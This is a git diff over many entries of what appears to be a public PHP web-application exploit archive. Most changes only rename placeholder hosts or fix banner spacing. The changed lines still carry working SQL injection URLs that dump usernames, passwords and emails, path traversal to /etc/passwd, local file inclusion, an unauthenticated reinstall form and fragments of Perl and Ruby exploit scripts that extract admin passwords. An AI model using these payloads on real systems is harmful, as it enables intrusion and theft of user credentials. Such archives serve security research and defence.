http://www.server/gb/kommentar.php?id=99999+union+select+1,2,3,4,5 ++Exploitable : http://www.site.com/gb/kommentar.php?id=99999+union+select+1,2,3,4,5 ,concat(nickname,0x3a,pwd,0x3a,email),7,8,9,10,11,12,13+from+pfuser+where+id=2 ----------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/11939.txt b/platforms/php/webapps/11939.txt index 523f5debc..bc89e3d1d 100755 --- a/platforms/php/webapps/11939.txt +++ b/platforms/php/webapps/11939.txt @@ -26,7 +26,7 @@ http://127.0.0.1/index.php?option=com_spec&view=spec&tmpl=component&pro_id=-1+UN [~] Demo : -http://www.server/index.php?option=com_spec&view=spec&tmpl=component&pro_id=-1+UNION+SELECT+@@version,2-- +http://www.site.com/index.php?option=com_spec&view=spec&tmpl=component&pro_id=-1+UNION+SELECT+@@version,2-- [~]######################################### ThankS To ... ############################################[~] diff --git a/platforms/php/webapps/11940.txt b/platforms/php/webapps/11940.txt index ef35b49d2..649aefe57 100755 --- a/platforms/php/webapps/11940.txt +++ b/platforms/php/webapps/11940.txt @@ -26,7 +26,7 @@ http://127.0.0.1/index.php?option=com_television&view=television&id=-1 UNION SEL [~] Demo : -http://www.server/index.php?option=com_television&view=television&id=-1 UNION SELECT 1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16-- +http://www.site.com/index.php?option=com_television&view=television&id=-1 UNION SELECT 1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16-- [~]######################################### ThankS To ... ############################################[~] diff --git a/platforms/php/webapps/11941.txt b/platforms/php/webapps/11941.txt index d2fefc70a..6213846e8 100755 --- a/platforms/php/webapps/11941.txt +++ b/platforms/php/webapps/11941.txt @@ -32,7 +32,7 @@ http://127.0.0.1/index.php?option=com_items&parent=-1+UNION+SELECT+version(),2-- [~] Demo : -http://www.server/index.php?option=com_items&parent=-1+UNION+SELECT+version(),2-- +http://www.site.com/index.php?option=com_items&parent=-1+UNION+SELECT+version(),2-- [~]######################################### ThankS To ... ############################################[~] diff --git a/platforms/php/webapps/11942.txt b/platforms/php/webapps/11942.txt index 4bbc87678..d62878566 100755 --- a/platforms/php/webapps/11942.txt +++ b/platforms/php/webapps/11942.txt @@ -26,7 +26,7 @@ http://127.0.0.1/index.php?option=com_actions&actionid=-1 UNION SELECT 1,2,3,4,5 [~] Demo : -http://server/newsite/index.php?option=com_actions&actionid=-1 UNION SELECT 1,2,3,4,5,6,7-- +http://site.com/newsite/index.php?option=com_actions&actionid=-1 UNION SELECT 1,2,3,4,5,6,7-- [~]######################################### ThankS To ... ############################################[~] diff --git a/platforms/php/webapps/11960.txt b/platforms/php/webapps/11960.txt index 67ac8b8a9..1c6140fa3 100755 --- a/platforms/php/webapps/11960.txt +++ b/platforms/php/webapps/11960.txt @@ -1,4 +1,4 @@ -\\\|/// + \\\|/// \\ - - // ( @ @ ) ----oOOo--(_)-oOOo-------------------------------------------------- diff --git a/platforms/php/webapps/11963.txt b/platforms/php/webapps/11963.txt index 7a33b8093..468267591 100755 --- a/platforms/php/webapps/11963.txt +++ b/platforms/php/webapps/11963.txt @@ -1,4 +1,4 @@ -\\\|/// + \\\|/// \\ - - // ( @ @ ) ----oOOo--(_)-oOOo-------------------------------------------------- diff --git a/platforms/php/webapps/11980.txt b/platforms/php/webapps/11980.txt index 5f47d3f6a..6176f1f11 100755 --- a/platforms/php/webapps/11980.txt +++ b/platforms/php/webapps/11980.txt @@ -55,15 +55,15 @@ IF(isset($_GET['action'])) { } -#######################################################################################- -+Vulnerability : http://www.server/easyclanpage/?section=gallery&action=viewpic&id= -+Vulnerability : http://www.server/easyclanpage/?section=gallery&action=gallery&id= -+Vulnerability : http://www.server/easyclanpage/?section=gallery&action=kate&id= -+Vulnerability : http://www.server/easyclanpage/?section=gallery&action=comments&id= -+Vulnerability : http://www.server/easyclanpage/?section=gallery&action=commentsquote&id= -+Vulnerability : http://www.server/easyclanpage/?section=gallery&action=commentsedit&id= ++Vulnerability : http://www.site.com/easyclanpage/?section=gallery&action=viewpic&id= ++Vulnerability : http://www.site.com/easyclanpage/?section=gallery&action=gallery&id= ++Vulnerability : http://www.site.com/easyclanpage/?section=gallery&action=kate&id= ++Vulnerability : http://www.site.com/easyclanpage/?section=gallery&action=comments&id= ++Vulnerability : http://www.site.com/easyclanpage/?section=gallery&action=commentsquote&id= ++Vulnerability : http://www.site.com/easyclanpage/?section=gallery&action=commentsedit&id= +SQL Injection -+Exploitable : http://www.server/easyclanpage/?section=gallery&action=gallery&id= ++Exploitable : http://www.site.com/easyclanpage/?section=gallery&action=gallery&id= -1111111111+union+select+1,2,concat(username,0x3a,password,0x3a,email),4+from+ecp_user +where+userID=1--+ diff --git a/platforms/php/webapps/11996.txt b/platforms/php/webapps/11996.txt index 071b949e7..1f801b867 100755 --- a/platforms/php/webapps/11996.txt +++ b/platforms/php/webapps/11996.txt @@ -18,10 +18,10 @@ Affected software description: Application : EContent version : 1.0.1 Developer : E-Content -website : http://www.econtentserver/ +website : http://www.econtentsite.com/ License : GPL type : Non-Commercial Date Added : 24 March 2010 -Download : http://www.econtentserver/ +Download : http://www.econtentsite.com/ diff --git a/platforms/php/webapps/12005.txt b/platforms/php/webapps/12005.txt index 042715e49..3b8559223 100755 --- a/platforms/php/webapps/12005.txt +++ b/platforms/php/webapps/12005.txt @@ -22,10 +22,10 @@ N00bor,Ic3Drag0n,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/auktion/auktion_text.php?id_auk= ++Vulnerability : http://www.site.com/auktion/auktion_text.php?id_auk= #password -+Exploitable : http://www.server/auktion/auktion_text.php?id_auk=1+and+1=1+and+ ++Exploitable : http://www.site.com/auktion/auktion_text.php?id_auk=1+and+1=1+and+ ascii(substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1 diff --git a/platforms/php/webapps/12009.html b/platforms/php/webapps/12009.html index a269b6ce6..4c1677696 100755 --- a/platforms/php/webapps/12009.html +++ b/platforms/php/webapps/12009.html @@ -1,4 +1,4 @@ -======================================================================= + ======================================================================= CMS Made Simple 1.7 CSRF Vulnerability @@ -86,3 +86,4 @@ #If you have any questions, comments, or concerns, feel free to contact me. + \ No newline at end of file diff --git a/platforms/php/webapps/12026.txt b/platforms/php/webapps/12026.txt index cdc09f97a..86c1aff80 100755 --- a/platforms/php/webapps/12026.txt +++ b/platforms/php/webapps/12026.txt @@ -22,10 +22,10 @@ N00bor,Ic3Drag0n,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/auktion/auktion.php?id_auk= ++Vulnerability : http://www.site.com/auktion/auktion.php?id_auk= #password -+Exploitable : http://www.server/auktion/auktion.php?id_auk=1+and+1=1+and+ascii ++Exploitable : http://www.site.com/auktion/auktion.php?id_auk=1+and+1=1+and+ascii (substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1 ----------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/12031.html b/platforms/php/webapps/12031.html index 3fbe03fde..d3a3eee59 100755 --- a/platforms/php/webapps/12031.html +++ b/platforms/php/webapps/12031.html @@ -1,4 +1,4 @@ -:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: + :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Exploit Title : Advneced Management For Services Sites Remote add admin exploit Author: alnjm33 Software Link: http://am4ss.com/am4ss.zip diff --git a/platforms/php/webapps/12042.txt b/platforms/php/webapps/12042.txt index b01cb404d..7bc270331 100755 --- a/platforms/php/webapps/12042.txt +++ b/platforms/php/webapps/12042.txt @@ -19,5 +19,5 @@ x10 mirco blogging V121 SQL Injection Vulnerability Exploit : ############################################################################ -http://server/x10_mirco_blogging_v121/all_blogs.php?user=SqlInjection Code +http://Site.com/x10_mirco_blogging_v121/all_blogs.php?user=SqlInjection Code ############################################################################ \ No newline at end of file diff --git a/platforms/php/webapps/12052.txt b/platforms/php/webapps/12052.txt index a0b7a23b0..a067631ab 100755 --- a/platforms/php/webapps/12052.txt +++ b/platforms/php/webapps/12052.txt @@ -1,4 +1,4 @@ -\\\|/// + \\\|/// \\ - - // ( @ @ ) ----oOOo--(_)-oOOo-------------------------------------------------- diff --git a/platforms/php/webapps/12066.txt b/platforms/php/webapps/12066.txt index 1a7e94a77..68063da5c 100755 --- a/platforms/php/webapps/12066.txt +++ b/platforms/php/webapps/12066.txt @@ -1,4 +1,4 @@ -================================================================================================ + ================================================================================================ Title : Joomla Component com_svmap v1.1.1 LFI Vulnerability Vendor : http://www.la-souris-verte.com diff --git a/platforms/php/webapps/12067.txt b/platforms/php/webapps/12067.txt index 0b4a689e7..ca19652cb 100755 --- a/platforms/php/webapps/12067.txt +++ b/platforms/php/webapps/12067.txt @@ -1,4 +1,4 @@ -================================================================================================ + ================================================================================================ Title : Joomla Component com_shoutbox LFI Vulnerability Download : http://joomlacode.org/gf/project/shoutbox diff --git a/platforms/php/webapps/12068.txt b/platforms/php/webapps/12068.txt index 4b4d30b79..89a20dc36 100755 --- a/platforms/php/webapps/12068.txt +++ b/platforms/php/webapps/12068.txt @@ -1,4 +1,4 @@ -================================================================================================ + ================================================================================================ Title : Joomla Component com_loginbox LFI Vulnerability Date : Monday, 05 April 2010 (Indonesia) diff --git a/platforms/php/webapps/12069.txt b/platforms/php/webapps/12069.txt index 694c0564c..a4761fb31 100755 --- a/platforms/php/webapps/12069.txt +++ b/platforms/php/webapps/12069.txt @@ -1,4 +1,4 @@ -================================================================================================ + ================================================================================================ Title : Joomla Component com_bca-rss-syndicator LFI Vulnerability Date : Monday, 05 April 2010 (Indonesia) diff --git a/platforms/php/webapps/12070.txt b/platforms/php/webapps/12070.txt index a16507ff8..3418454d5 100755 --- a/platforms/php/webapps/12070.txt +++ b/platforms/php/webapps/12070.txt @@ -1,4 +1,4 @@ -================================================================================================ + ================================================================================================ Title : Joomla Magic Updater (com_joomlaupdater) LFI Vulnerability Date : Monday, 05 April 2010 (Indonesia) diff --git a/platforms/php/webapps/12076.pl b/platforms/php/webapps/12076.pl index fc02a7c2b..aa4ea8565 100755 --- a/platforms/php/webapps/12076.pl +++ b/platforms/php/webapps/12076.pl @@ -22,9 +22,9 @@ N00bor,Ic3Drag0n,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/ilchClan105/?m=downloads&cid= ++Vulnerability : http://www.site.com/ilchClan105/?m=downloads&cid= -+Exploitable : http://www.server/ilchClan105/?m=downloads&cid=1+and+1=0+union+select ++Exploitable : http://www.site.com/ilchClan105/?m=downloads&cid=1+and+1=0+union+select +1,concat(name,0x3a,pass,0x3a,email)+from+ilchclan_user+where+id=1-- diff --git a/platforms/php/webapps/12101.txt b/platforms/php/webapps/12101.txt index ca0ad072d..e18333a51 100755 --- a/platforms/php/webapps/12101.txt +++ b/platforms/php/webapps/12101.txt @@ -30,3 +30,4 @@ Greetz : -:- SkyCreW -:- (o)===================================================================================(o) + \ No newline at end of file diff --git a/platforms/php/webapps/12106.txt b/platforms/php/webapps/12106.txt index 83c058871..d0a524ae9 100755 --- a/platforms/php/webapps/12106.txt +++ b/platforms/php/webapps/12106.txt @@ -1,4 +1,4 @@ -======================================================================================== + ======================================================================================== | # Title : Istgah for Centerhost Mullti Vulnerability | # Author : indoushka | # email : indoushka@hotmail.com diff --git a/platforms/php/webapps/12108.txt b/platforms/php/webapps/12108.txt index e31dbfaa1..e8184d440 100755 --- a/platforms/php/webapps/12108.txt +++ b/platforms/php/webapps/12108.txt @@ -1,4 +1,4 @@ - + **************************************************************************** diff --git a/platforms/php/webapps/12132.pl b/platforms/php/webapps/12132.pl index ab745b76b..08d7280dc 100755 --- a/platforms/php/webapps/12132.pl +++ b/platforms/php/webapps/12132.pl @@ -20,7 +20,7 @@ print "| |\n"; print "| www.yogyacarderlink.web.id |\n"; print "|----------------------------------------------------|\n"; use LWP::UserAgent; -print "\nMasukin Target:[http://wserver/path/]: "; +print "\nMasukin Target:[http://wwww.target.com/path/]: "; chomp(my $target=<STDIN>); #Nama Column $concatenation="concat(username,char(58),password)v3n0m"; diff --git a/platforms/php/webapps/12135.txt b/platforms/php/webapps/12135.txt index 3b9433757..818b0217b 100755 --- a/platforms/php/webapps/12135.txt +++ b/platforms/php/webapps/12135.txt @@ -22,10 +22,10 @@ N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/game/news.php?newsid= ++Vulnerability : http://www.site.com/game/news.php?newsid= -+Exploitable : http://www.server/game/news.php?newsid=1'/**/UNION/**/SELECT+1, ++Exploitable : http://www.site.com/game/news.php?newsid=1'/**/UNION/**/SELECT+1, concat(id,0x3a,pass,0x3a,email),3,4/**/from/**/users/**/WHERE/**/id=1--+ @@ -49,7 +49,7 @@ print " " require 'net/http' print "#########################################################" -print "\nEnter host name (server)->" +print "\nEnter host name (site.com)->" host=gets.chomp print "#########################################################" print "\nEnter script path (/forum/)->" diff --git a/platforms/php/webapps/12139.txt b/platforms/php/webapps/12139.txt index dd5066a36..a8daf1ab0 100755 --- a/platforms/php/webapps/12139.txt +++ b/platforms/php/webapps/12139.txt @@ -1,4 +1,4 @@ -======================================================================================== + ======================================================================================== | # Title : Kiasabz Article News CMS Magazine SQL Injection Vulnerability | # Author : indoushka | # email : indoushka@hotmail.com diff --git a/platforms/php/webapps/12140.php b/platforms/php/webapps/12140.php index 40aaf3a16..f00756e89 100755 --- a/platforms/php/webapps/12140.php +++ b/platforms/php/webapps/12140.php @@ -26,7 +26,7 @@ printf("\nResult: %s\n", $match['1']); else { print("====================================\n Usage: php btit.php URL ID UserName\n -Example: php btit.php http://server/ 2 admin\n +Example: php btit.php http://site.com/ 2 admin\n ====================================\n"); } diff --git a/platforms/php/webapps/12158.py b/platforms/php/webapps/12158.py index 85d60a5ec..47594b3fe 100755 --- a/platforms/php/webapps/12158.py +++ b/platforms/php/webapps/12158.py @@ -24,10 +24,10 @@ N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101. ---------------------------------------------------------------------------------------- -+Vulnerability : http://www.server/game/matchdb.php?match= ++Vulnerability : http://www.site.com/game/matchdb.php?match= -+Exploitable : http://www.server/game/matchdb.php?match=9999999+and+1=0+union+ ++Exploitable : http://www.site.com/game/matchdb.php?match=9999999+and+1=0+union+ select+1,2,3,4,5,concat(name,0x3a,password,0x3a,email),7+from+members+where+id=1-- ----------------------------------------------------------------------------------------- @@ -50,7 +50,7 @@ print " " require 'net/http' print "#########################################################" -print "\nEnter host name (server)->" +print "\nEnter host name (site.com)->" host=gets.chomp print "#########################################################" print "\nEnter script path (/forum/)->" diff --git a/platforms/php/webapps/12164.txt b/platforms/php/webapps/12164.txt index 841600b6d..51702791e 100755 --- a/platforms/php/webapps/12164.txt +++ b/platforms/php/webapps/12164.txt @@ -1,4 +1,4 @@ -|=-----------------------------------------------------=| + |=-----------------------------------------------------=| |=-------------=[ JIKO |No-exploit.Com| ]=-----------=| |=-----------------------------------------------------=| [~]-----------|00| diff --git a/platforms/php/webapps/12185.txt b/platforms/php/webapps/12185.txt index b4073d5bd..e39d23db7 100755 --- a/platforms/php/webapps/12185.txt +++ b/platforms/php/webapps/12185.txt @@ -35,4 +35,4 @@ FLEXIcontent is an extension for Joomla! developed in 1.5 native mode and comply - [D]eal [C]yber 04/12/2010 GMT+7 \ No newline at end of file + [D]eal [C]yber 04/12/2010 GMT+7 \ No newline at end of file diff --git a/platforms/php/webapps/12191.txt b/platforms/php/webapps/12191.txt index 55c03ca2b..00b07e609 100755 --- a/platforms/php/webapps/12191.txt +++ b/platforms/php/webapps/12191.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/12195.rb b/platforms/php/webapps/12195.rb index 3c7a0623c..fe0fee2cf 100755 --- a/platforms/php/webapps/12195.rb +++ b/platforms/php/webapps/12195.rb @@ -24,13 +24,13 @@ N00bor,novaca!ne. ---------------------------------------------------------------------------------------- -+Vulnerability1 : www.server/jbb_v1.0.0rc2/showforum.php?forum= -+Vulnerability2 : www.server/jbb_v1.0.0rc2/verschieben.php?forum=2&tid= ++Vulnerability1 : www.site.com/jbb_v1.0.0rc2/showforum.php?forum= ++Vulnerability2 : www.site.com/jbb_v1.0.0rc2/verschieben.php?forum=2&tid= -+Exploitable1 : www.server/jbb_v1.0.0rc2/showforum.php?forum=1+and+1=0+union+select ++Exploitable1 : www.site.com/jbb_v1.0.0rc2/showforum.php?forum=1+and+1=0+union+select +1,2,3,4,5,6,concat(username,0x3a,passwort,0x3a,email),8+from+user+where+erstellerid=1-- -+Exploitable2 : www.server/jbb_v1.0.0rc2/verschieben.php?forum=2&tid=1+and+1=0+union ++Exploitable2 : www.site.com/jbb_v1.0.0rc2/verschieben.php?forum=2&tid=1+and+1=0+union +select+concat(username,0x3a,passwort,0x3a,email)+from+user+where+erstellerid=1-- ----------------------------------------------------------------------------------------- #!/usr/bin/ruby @@ -49,7 +49,7 @@ print " " require 'net/http' print "#########################################################" -print "\nEnter host name (server)->" +print "\nEnter host name (site.com)->" host=gets.chomp print "#########################################################" print "\nEnter script path (/forum/)->" diff --git a/platforms/php/webapps/12221.rb b/platforms/php/webapps/12221.rb index a5ac83b00..146c2503f 100755 --- a/platforms/php/webapps/12221.rb +++ b/platforms/php/webapps/12221.rb @@ -43,7 +43,7 @@ print " " require 'net/http' print "#########################################################" -print "\nEnter host name (server)->" +print "\nEnter host name (site.com)->" host=gets.chomp print "#########################################################" print "\nEnter script path (/forum/)->" diff --git a/platforms/php/webapps/12246.txt b/platforms/php/webapps/12246.txt index 6267739cb..bd053c680 100755 --- a/platforms/php/webapps/12246.txt +++ b/platforms/php/webapps/12246.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/12256.txt b/platforms/php/webapps/12256.txt index 3094447dd..134a0a00d 100755 --- a/platforms/php/webapps/12256.txt +++ b/platforms/php/webapps/12256.txt @@ -45,7 +45,7 @@ print " " block = "#########################################################" print ""+ block +"" -print "\nEnter host name (server)->" +print "\nEnter host name (site.com)->" host=gets.chomp print ""+ block +"" print "\nEnter script path (/forum/)->" diff --git a/platforms/php/webapps/12272.txt b/platforms/php/webapps/12272.txt index 51b68f0ae..04c19731e 100755 --- a/platforms/php/webapps/12272.txt +++ b/platforms/php/webapps/12272.txt @@ -10,7 +10,7 @@ g00gle d0rk: "PHP RapidKill Pro" -3xpl0it: Link to Download: http://server/shell.txt [r57 or DigitALL Shell +3xpl0it: Link to Download: http://site.com/shell.txt [r57 or DigitALL Shell ] And Click To "F&#304;LES" And Action Rename xx.php diff --git a/platforms/php/webapps/12282.txt b/platforms/php/webapps/12282.txt index 82f633814..713e28e5d 100755 --- a/platforms/php/webapps/12282.txt +++ b/platforms/php/webapps/12282.txt @@ -1,4 +1,4 @@ -================================================================================================ + ================================================================================================ Title : Joomla Component Archery Scores (com_archeryscores) v1.0.6 LFI Vulnerability Vendor : http://lispeltuut.org/ diff --git a/platforms/php/webapps/12316.txt b/platforms/php/webapps/12316.txt index eec852102..857d65b7c 100755 --- a/platforms/php/webapps/12316.txt +++ b/platforms/php/webapps/12316.txt @@ -1,4 +1,4 @@ -================================================================================================ + ================================================================================================ Title : Joomla Component wmi (com_wmi) LFI Vulnerability Vendor : http://www.paysyspro.com/ diff --git a/platforms/php/webapps/12322.txt b/platforms/php/webapps/12322.txt index 4990d335f..750efe678 100755 --- a/platforms/php/webapps/12322.txt +++ b/platforms/php/webapps/12322.txt @@ -20,7 +20,7 @@ Remote users can upload file without authentication. #POC: - http://server/fckeditor/editor/filemanager/connectors/test.html + http://site.com/fckeditor/editor/filemanager/connectors/test.html #2-Reinstallation############################################################# @@ -30,7 +30,7 @@ #Exploit: <html> - <form name="form1" action="http://server/LightNEasy/install1.php" method="post"><table> + <form name="form1" action="http://site.com/LightNEasy/install1.php" method="post"><table> <tr><td>Enter password:</td><td><input type="password" name="password" value="" /></td></tr> <tr><td>Repeat password:</td><td><input type="password" name="password1" value="" /></td></tr> <tr><td>Admin name:</td><td><input type="text" name="admin" value="" /></td></tr> @@ -53,7 +53,7 @@ 30: include("languages/lang_$language.inc"); //<---- vulnerable line! #Exploit: - http://server/plugins/filemanager/get_file.php?language=[file_to_include]%00 + http://site.com/plugins/filemanager/get_file.php?language=[file_to_include]%00 #4-Filemanager plugin Local File Disclosure################################### @@ -63,4 +63,4 @@ 56: readfile($file); #EXPLOIT: - http://server/plugins/filemanager/get_file.php?file=[file_to_read] + http://site.com/plugins/filemanager/get_file.php?file=[file_to_read] diff --git a/platforms/php/webapps/12325.txt b/platforms/php/webapps/12325.txt index 2bbe80770..3d09f0faf 100755 --- a/platforms/php/webapps/12325.txt +++ b/platforms/php/webapps/12325.txt @@ -12,3 +12,4 @@ exp: http://server/components/com_portfolio/includes/phpthumb/phpThumb.php?w=800&src=../../../../etc/passwd + \ No newline at end of file diff --git a/platforms/php/webapps/12330.txt b/platforms/php/webapps/12330.txt index f08eca603..df565ca20 100755 --- a/platforms/php/webapps/12330.txt +++ b/platforms/php/webapps/12330.txt @@ -1,4 +1,4 @@ -Bonsai Information Security - Advisory + Bonsai Information Security - Advisory http://www.bonsai-sec.com/research/ Multiple XSS in Apache OFBiz diff --git a/platforms/php/webapps/12346.txt b/platforms/php/webapps/12346.txt index 97b7bd326..fc2a25065 100755 --- a/platforms/php/webapps/12346.txt +++ b/platforms/php/webapps/12346.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/12349.txt b/platforms/php/webapps/12349.txt index 2cf80dce1..98925e4a3 100755 --- a/platforms/php/webapps/12349.txt +++ b/platforms/php/webapps/12349.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/12351.txt b/platforms/php/webapps/12351.txt index fa89ff0a9..4e57e5576 100755 --- a/platforms/php/webapps/12351.txt +++ b/platforms/php/webapps/12351.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/12353.txt b/platforms/php/webapps/12353.txt index 3ed6d9026..38f28d832 100755 --- a/platforms/php/webapps/12353.txt +++ b/platforms/php/webapps/12353.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/12355.pl b/platforms/php/webapps/12355.pl index 3651f43c8..101c717ad 100755 --- a/platforms/php/webapps/12355.pl +++ b/platforms/php/webapps/12355.pl @@ -35,4 +35,4 @@ $answer = $res->content; if ($answer =~ /password=(.*?)<\/div>/){ print "\n[+] Admin password : $1\n\n"; } else{print "\nError\n"; -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/php/webapps/12360.pl b/platforms/php/webapps/12360.pl index b8ba3823c..808a45e3a 100755 --- a/platforms/php/webapps/12360.pl +++ b/platforms/php/webapps/12360.pl @@ -26,7 +26,7 @@ print "| www.yogyacarderlink.web.id |\n"; print "| |\n"; print "|--------------------------------------[ elicha ]----|\n"; use LWP::UserAgent; -print "\nInsert Target:[http://wserver/path/]: "; +print "\nInsert Target:[http://wwww.target.com/path/]: "; chomp(my $target=<STDIN>); print "\n[!] Exploiting Progress...\n"; print "\n"; diff --git a/platforms/php/webapps/12372.txt b/platforms/php/webapps/12372.txt index d91a96a16..6ff605a29 100755 --- a/platforms/php/webapps/12372.txt +++ b/platforms/php/webapps/12372.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/12395.txt b/platforms/php/webapps/12395.txt index 0731c78b8..8be1eeefd 100755 --- a/platforms/php/webapps/12395.txt +++ b/platforms/php/webapps/12395.txt @@ -1,4 +1,4 @@ -______________________________________________________________________________ + ______________________________________________________________________________ XSS and Authentication bypass in Advanced Poll Script Vendor:http://www.2daybiz.com/ ___________________________Author:Sid3^effects_________________________________ diff --git a/platforms/php/webapps/12413.txt b/platforms/php/webapps/12413.txt index 6c57a084e..9a35592c6 100755 --- a/platforms/php/webapps/12413.txt +++ b/platforms/php/webapps/12413.txt @@ -1,4 +1,4 @@ -______________________________________________________________________________ XSS and Authentication bypass in i-Net Online Community site script + ______________________________________________________________________________ XSS and Authentication bypass in i-Net Online Community site script Vendor:http://www.i-netsolution.com/ _______________________Author:Sid3^effects aKa haRi____________________________ diff --git a/platforms/php/webapps/12414.txt b/platforms/php/webapps/12414.txt index 212f36d3f..2de286c65 100755 --- a/platforms/php/webapps/12414.txt +++ b/platforms/php/webapps/12414.txt @@ -1,4 +1,4 @@ -Authentication bypass in 2daybiz Auction Script + Authentication bypass in 2daybiz Auction Script Vendor:http://www.2daybiz.com/ _______________________Author:Sid3^effects aKa haRi_________________________________ diff --git a/platforms/php/webapps/12416.txt b/platforms/php/webapps/12416.txt index fb1198f2b..94699c99e 100755 --- a/platforms/php/webapps/12416.txt +++ b/platforms/php/webapps/12416.txt @@ -12,7 +12,7 @@ PHP Quick Arcade 3.0.21 Multiple Vulnerabilites ----------------------------------------------------------- # POC 1 ----------------------------------------------------------- -www.server/Arcade.php +www.Site.com/Arcade.php Send Your Query With Cookie => phpqa_user_c phpqa_user_c= Sql Injection Can Use tamper data in mozila @@ -20,9 +20,9 @@ Can Use tamper data in mozila # POC 2 ----------------------------------------------------------- This Bug Worked With Register_Global = On -www.server/acpmoderate.php?id=Sql Injection +www.Site.com/acpmoderate.php?id=Sql Injection ----------------------------------------------------------- # POC 3 ----------------------------------------------------------- Cross Site Scripting (XSS) -www.server/acpmoderate.php?serv=Xss Code \ No newline at end of file +www.Site.com/acpmoderate.php?serv=Xss Code \ No newline at end of file diff --git a/platforms/php/webapps/12429.pl b/platforms/php/webapps/12429.pl index 65c38279e..921ae3845 100755 --- a/platforms/php/webapps/12429.pl +++ b/platforms/php/webapps/12429.pl @@ -10,7 +10,7 @@ # Home : http://antisecurity.org/ # # # # [o] Usage # -# root@evilc0de:~# perl abc.pl server # +# root@evilc0de:~# perl abc.pl www.target.com # # # # [o] Greetz # # Angela Zhang stardustmemory aJe martfella pizzyroot Genex # diff --git a/platforms/php/webapps/12430.txt b/platforms/php/webapps/12430.txt index 4362d1ff7..943882d97 100755 --- a/platforms/php/webapps/12430.txt +++ b/platforms/php/webapps/12430.txt @@ -1,4 +1,4 @@ -================================================================================================ + ================================================================================================ Title : Joomla Component graphics (com_graphics) v1.0.6 LFI Vulnerability Vendor : http://htmlcoderhelper.com/ diff --git a/platforms/php/webapps/12443.txt b/platforms/php/webapps/12443.txt index a494c25ba..ade66c043 100755 --- a/platforms/php/webapps/12443.txt +++ b/platforms/php/webapps/12443.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git 